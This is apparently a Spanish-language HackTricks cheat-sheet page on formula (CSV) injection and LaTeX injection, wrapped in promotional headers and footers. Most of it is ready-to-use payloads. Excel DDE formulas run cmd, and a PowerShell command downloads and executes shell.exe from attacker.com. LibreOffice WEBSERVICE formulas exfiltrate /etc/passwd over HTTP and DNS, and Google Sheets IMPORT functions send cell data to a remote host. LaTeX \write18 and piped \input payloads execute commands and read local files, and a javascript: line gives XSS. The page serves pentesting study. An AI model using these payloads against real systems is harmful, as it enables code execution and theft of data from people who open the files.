14 KiB
Inyección de Fórmulas/CSV/Doc/LaTeX/GhostScript
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén productos oficiales de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
![](/Mirrors/hacktricks/media/commit/b345376d574ec969b345cb8d9a7883ba9abd6e6d/.gitbook/assets/image%20%28675%29.png)
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos de amenazas proactivos, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Inyección de Fórmulas
Información
Si tu entrada se está reflejando dentro de archivos CSV (o cualquier otro archivo que probablemente se abrirá en Excel), es posible que puedas insertar fórmulas de Excel que se ejecutarán cuando el usuario abra el archivo o cuando el usuario haga clic en algún enlace dentro de la hoja de cálculo de Excel.
{% hint style="danger" %} Hoy en día, Excel alertará (varias veces) al usuario cuando algo se carga desde fuera de Excel para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para la carga final. {% endhint %}
Lista de palabras
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hipervínculo
El siguiente ejemplo es muy útil para extraer contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).
El siguiente ejemplo fue tomado de https://payatu.com/csv-injection-basic-to-exploit
Imagina una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes que es explotada a través de un ataque de inyección de CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte una carga maliciosa en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados para los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
- Inyección de Carga Maliciosa:
- El atacante envía un formulario de detalles de estudiante pero incluye una fórmula comúnmente utilizada en hojas de cálculo (por ejemplo,
=HYPERLINK("<enlace_malicioso>","Haz clic aquí")
). - Esta fórmula está diseñada para crear un hipervínculo, pero apunta a un servidor malicioso controlado por el atacante.
- Exportación de Datos Comprometidos:
- Los profesores, sin ser conscientes del compromiso, utilizan la funcionalidad de la aplicación para exportar los datos a un archivo CSV.
- El archivo CSV, al ser abierto, aún contiene la carga maliciosa. Esta carga aparece como un hipervínculo clickeable en la hoja de cálculo.
- Desencadenando el Ataque:
- Un profesor hace clic en el hipervínculo, creyendo que es una parte legítima de los detalles del estudiante.
- Al hacer clic, los datos sensibles (potencialmente incluyendo detalles de la hoja de cálculo o de la computadora del profesor) son transmitidos al servidor del atacante.
- Registrando los Datos:
- El servidor del atacante recibe y registra los datos sensibles enviados desde la computadora del profesor.
- El atacante puede luego utilizar estos datos para varios propósitos maliciosos, comprometiendo aún más la privacidad y seguridad de los estudiantes y la institución.
RCE
Para que este ejemplo funcione, es necesario tener habilitada la siguiente configuración:
Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo → Habilitar Lanzamiento del Servidor de Intercambio de Datos Dinámico
o el uso de una versión antigua de Excel.
La buena noticia es que esta carga se ejecuta automáticamente cuando se abre el archivo (si el usuario acepta las advertencias).
Es posible ejecutar una calculadora con la siguiente carga =cmd|' /C calc'!xxx
Más
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- Esto leerá la primera línea del archivo local /etc/passwd:
='file:///etc/passwd'#$passwd.A1
- Exfiltrarlo:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrar más de una línea:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltración DNS:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
Analizando la carga de exfiltración DNS:
- ‘file:///etc/passwd’#$passwd.A19 – Leerá la 19ª línea del archivo local /etc/passwd
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica la URL de los datos devueltos
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar a una subcadena, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres en FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – reemplaza todas las instancias de % (el carácter especial de la codificación de URL) con guion, esto asegura que solo se utilicen caracteres DNS válidos
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
- WEBSERVICE – Realizará una solicitud para este nombre de DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritario de DNS para el cual tenemos control
Google Sheets OOB Data Exfiltration
En primer lugar, presentemos algunas de las funciones más interesantes.
CONCATENATE: Une cadenas entre sí.
=CONCATENATE(A2:E2)
IMPORTXML: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV, y feeds XML de RSS y ATOM.
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importa un feed RSS o ATOM.
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importa datos de una tabla o lista dentro de una página HTML.
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importa un rango de celdas de una hoja de cálculo especificada.
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGEN: Inserta una imagen en una celda.
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
Inyección de LaTeX
Por lo general, los servidores que se encuentran en Internet y que convierten código LaTeX a PDF utilizan pdflatex
.
Este programa utiliza 3 atributos principales para permitir o no la ejecución de comandos:
--no-shell-escape
: Deshabilita la construcción\write18{command}
, incluso si está habilitada en el archivo texmf.cnf.--shell-restricted
: Igual que--shell-escape
, pero limitado a un conjunto 'seguro' de **comandos predefinidos (**En Ubuntu 16.04 la lista está en/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Habilita la construcción\write18{command}
. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar la ejecución remota de código (RCE) es muy importante usar --shell-restricted
.
Leer archivo
Es posible que necesites ajustar la inyección con envolturas como [ o $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Leer archivo de una sola línea
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Leer archivo con múltiples líneas
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Escribir archivo
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Ejecución de comandos
La entrada del comando se redirigirá a stdin, utilice un archivo temporal para obtenerla.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres no deseados.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Desde @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Inyección de Ghostscript
TODO: Crear un resumen con la información y técnicas más relevantes de https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referencias
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
![](/Mirrors/hacktricks/media/commit/b345376d574ec969b345cb8d9a7883ba9abd6e6d/.gitbook/assets/image%20%28675%29.png)
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. ¡Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.